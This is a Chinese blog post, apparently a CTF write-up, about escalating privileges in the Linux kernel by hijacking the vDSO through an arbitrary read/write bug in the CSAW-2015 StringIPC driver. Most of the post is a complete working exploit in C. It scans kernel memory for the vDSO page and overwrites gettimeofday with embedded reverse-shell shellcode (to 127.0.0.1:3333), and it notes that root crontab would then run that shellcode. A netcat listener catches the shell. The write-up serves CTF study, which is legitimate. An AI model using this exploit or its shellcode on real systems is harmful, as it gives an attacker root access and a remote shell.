ha1vk's blog
0%

linux kernel pwn学习之劫持vdso

发表于 分类于

VDSO就是Virtual Dynamic Shared Object，是内核提供的虚拟的.so,这个.so文件不在磁盘上，而是在内核里头。内核把包含某.so的内存页在程序启动的时候映射入其内存空间，对应的程序就可以当普通的.so来使用里面的函数。Vdso里面封装了这几个函数，其作用主要是加快对于某些对速度要求很高的系统调用，更多详细信息可以查看https://blog.csdn.net/juana1/article/details/6904932

由于vdso是在内核里，每个程序使用的时候，从内核里映射给程序，如果我们事先在内核里把vdso给劫持了，并把相应的函数覆盖成我们的shellcode，然后，当其他程序要用的时候，从内核把我们篡改过的vdso映射过去，如果它正好调用了对应的函数，就会执行我们对应位置布下的shellcode。当然普通权限的程序，调用我们的shellcode，也只是普通权限；如果有root权限的程序，调用我们的shellcode，那么我们的shellcode也是以root权限执行。在linux中，crontab是带有root权限的，并且它会不断的调用vdso里的gettimeofday函数，因此，我们如果把gettimeofday函数劫持为shellcode，等待被调用即可。至于为什么可以劫持vdso，因为vdso对于用户程序，只读、执行，而对于内核，它是RWX的，可以修改。因此只要利用漏洞，将对于函数修改为shellcode，布置在vdso的shellcode可以为反弹shell的shellcode，也可以是再运行一个其他程序，其他程序将继承权限。以CSAW-2015-StringIPC为例。

CSAW-2015-StringIPC

为了劫持vdso，首先需要知道vdso在内核里的地址，查看内核映射图，vdso在内核附近，因此我们确定范围0xffffffff80000000——0xffffffffffffefff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+  
                       |           |                                               |+++++++++++++|  
    8M                 |           | unused hole                                   |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|  
    1M                 |           |                                               |+++++++++++++|  
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|  
    548K               |           | vsyscalls                                     |+++++++++++++|  
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|  
    5M                 |           | hole                                          |+++++++++++++|  
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|  
                       |           |                                               |+++++++++++++|  
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|  
                       |           |                                               |+++++++++++++|  
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|  
    2G                 |           | hole                                          |+++++++++++++|  
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    64G                |           | EFI region mapping space                      |+++++++++++++|  
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    444G               |           | hole                                          |+++++++++++++|  
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    16T                |           | %esp fixup stacks                             |+++++++++++++|  
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    3T                 |           | hole                                          |+++++++++++++|  
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|  
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
    1T                 |           | hole                                          |+++++++++++++|  
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|  
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|  
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|  
    1T                 |           | hole                                          |+++++++++++++|  
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|  
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|  
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|  
    1T                 |           | hole                                          |+++++++++++++|  
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|  
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|  
                       |           |                                               |+++++++++++++|  
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|  
                       |           |                                               |+++++++++++++|  
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+  
                       |-----------|                                               |-------------|  
                       |-----------| hole caused by [48:63] sign extension         |-------------|  
                       |-----------|                                               |-------------|  
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+  
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|  
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|  
                       |           |                                               |  user space |  
                       |           |                                               |xxxxxxxxxxxxx|  
                       |           |                                               |xxxxxxxxxxxxx|  
                       |           |                                               |xxxxxxxxxxxxx|  
    128T               |           | different per mm                              |xxxxxxxxxxxxx|  
                       |           |                                               |xxxxxxxxxxxxx|  
                       |           |                                               |xxxxxxxxxxxxx|  
                       |           |                                               |xxxxxxxxxxxxx|  
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我们该以什么为依据来搜索vdso呢？

我们可以以当前程序的vdso里字符串的偏移为依据，在程序中，获取当前的vdso地址的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移  
int get_gettimeofday_str_offset() {  
   //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx  
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);  
   char* name = "gettimeofday";  
   if (!vdso_addr) {  
      errExit("[-]error get name's offset");  
   }  
   //仅需要搜索1页大小即可，因为vdso映射就一页0x1000  
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));  
   if (name_addr < 0) {  
      errExit("[-]error get name's offset");  
   }  
   return name_addr - vdso_addr;  
}

我们先确定字符串，比如gettimeofday在vdso.so里的偏移，通过这段代码，即可确定，然后我们在指定的范围内，一页一页(0x1000字节)的搜索，如果在当前一页数据处偏移offset后是gettimeofday字符串，那么，我们就能确定当前页起始地址就是vdso在内核里的地址。我们必须一页一页的搜索，这样成功率高，因为vdso的映射就一页。

当我们搜索到vdso在内核的地址后，接下来，准备劫持gettimeofday函数，那么，我们需要先确定gettimeofday在vdso内的偏移。我们可以用gdb把vdso给dump出来，再来分析。

首先，运行我们未写完的exploit，得到vdso在内核中的地址

然后，我们用gdb target到虚拟机

接着dump出vdso.so,dump一页大小即可

这样，我们得到vdso.so，拖到IDA中，**查看gettimeofday函数的偏移为0xCB0,**由此，我们计算出gettimeofday函数在内核中的地址，利用任意读写漏洞，覆盖这里为我们shellcode即可。我们的shellcode是一个反弹shell的shellcode，它将shell反弹到本地端口3333。我们只需nc 本地端口3333即可。Shellcode可以自己编写，也可以用现成的https://gist.github.com/itsZN/1ab36391d1849f15b785

综上，我们exploit.c程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/ioctl.h>  
#include <sys/prctl.h>  
#include <sys/time.h>  
#include <sys/auxv.h>  
  
#define CSAW_IOCTL_BASE     0x77617363  
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1  
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2  
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3  
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4  
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5  
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6  
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7  
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8  
//gettimeofday函数在vdso.so里的偏移  
//运行程序，得到vdso.so的地址  
//用gdb dump出vdso.so文件，拿到IDA里分析函数的地址  
#define GETTIMEOFDAY_FUN 0xCB0  
  
struct alloc_channel_args {  
    size_t buf_size;  
    int id;  
};  
  
struct shrink_channel_args {  
    int id;  
    size_t size;  
};  
  
struct read_channel_args {  
    int id;  
    char *buf;  
    size_t count;  
};  
  
struct write_channel_args {  
    int id;  
    char *buf;  
    size_t count;  
};  
  
struct seek_channel_args {  
    int id;  
    loff_t index;  
    int whence;  
};  
  
void errExit(char *msg) {  
   puts(msg);  
   exit(-1);  
}  
//驱动的文件描述符  
int fd;  
//初始化驱动  
void initFD() {  
   fd = open("/dev/csaw",O_RDWR);  
   if (fd < 0) {  
      errExit("[-] open file error!!");  
   }  
}  
  
//申请一个channel,返回id  
int alloc_channel(size_t size) {  
   struct alloc_channel_args args;  
   args.buf_size = size;  
   args.id = -1;  
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);  
   if (args.id == -1) {  
      errExit("[-]alloc_channel error!!");  
   }  
   return args.id;  
}  
  
//改变channel的大小  
void shrink_channel(int id,size_t size) {  
   struct shrink_channel_args args;  
   args.id = id;  
   args.size = size;  
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);  
}  
//seek  
void seek_channel(int id,loff_t offset,int whence) {  
   struct seek_channel_args args;  
   args.id = id;  
   args.index = offset;  
   args.whence = whence;  
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);  
}  
//读取数据  
void read_channel(int id,char *buf,size_t count) {  
   struct read_channel_args args;  
   args.id = id;  
   args.buf = buf;  
   args.count = count;  
   ioctl(fd,CSAW_READ_CHANNEL,&args);  
}  
//写数据  
void write_channel(int id,char *buf,size_t count) {  
   struct write_channel_args args;  
   args.id = id;  
   args.buf = buf;  
   args.count = count;  
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);  
}  
//任意地址读  
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {  
   seek_channel(id,addr-0x10,SEEK_SET);  
   read_channel(id,buf,count);  
}  
//任意地址写  
//由于题目中使用了strncpy_from_user,遇到0就会截断，因此，我们逐字节写入  
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {  
   for (int i=0;i<count;i++) {  
      seek_channel(id,addr+i-0x10,SEEK_SET);  
      write_channel(id,buf+i,1);  
   }  
}  
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移  
int get_gettimeofday_str_offset() {  
   //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx  
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);  
   char* name = "gettimeofday";  
   if (!vdso_addr) {  
      errExit("[-]error get name's offset");  
   }  
   //仅需要搜索1页大小即可，因为vdso映射就一页0x1000  
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));  
   if (name_addr < 0) {  
      errExit("[-]error get name's offset");  
   }  
   return name_addr - vdso_addr;  
}  
  
//用于反弹shell的shellcode，127.0.0.1:3333  
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";  
  
int main() {  
   char *buf = (char *)calloc(1,0x1000);  
   initFD();  
   //申请一个channel，大小0x100  
   int id = alloc_channel(0x100);  
   //改变channel大小，形成漏洞,实现任意地址读写  
   shrink_channel(id,0x101);  
   //获取gettimeofday字符串在vdso.so里的偏移  
   int gettimeofday_str_offset = get_gettimeofday_str_offset();  
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);  
   size_t vdso_addr = -1;  
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {  
      //读取一页数据  
      arbitrary_read(id,buf,addr,0x1000);  
      //如果在对应的偏移处，正好是这个字符串，那么我们就能确定当前就是vdso的地址  
      //之所以能确定，是因为我们每次读取了0x1000字节数据，也就是1页，而vdso的映射也只是1页  
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {  
         printf("[+]find vdso.so!!\n");  
         vdso_addr = addr;  
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);  
         break;  
      }  
   }  
   if (vdso_addr == -1) {  
      errExit("[-]can't find vdso.so!!");  
   }  
   size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;  
   printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);  
   //将gettimeofday处写入我们的shellcode，因为写操作在内核驱动里完成，内核可以读写执行vdso  
   //用户只能读和执行vdso  
   arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode));  
   sleep(1);  
   printf("[+]open a shell\n");  
   system("nc -lvnp 3333");  
   return 0;  
}

**劫持vdso能够成功提权的条件是有root权限的程序调用vdso。**在真实环境下，crontab会调用，而在模拟的qemu里，使用了一个程序来模拟

1
2
3
4
5
6
7
#include <stdio.h>  
int main(){  
    while(1){  
        sleep(1);  
        gettimeofday();  
    }  
}

将它编译后，在init启动脚本里加入它。本题，自带了这个程序来模拟。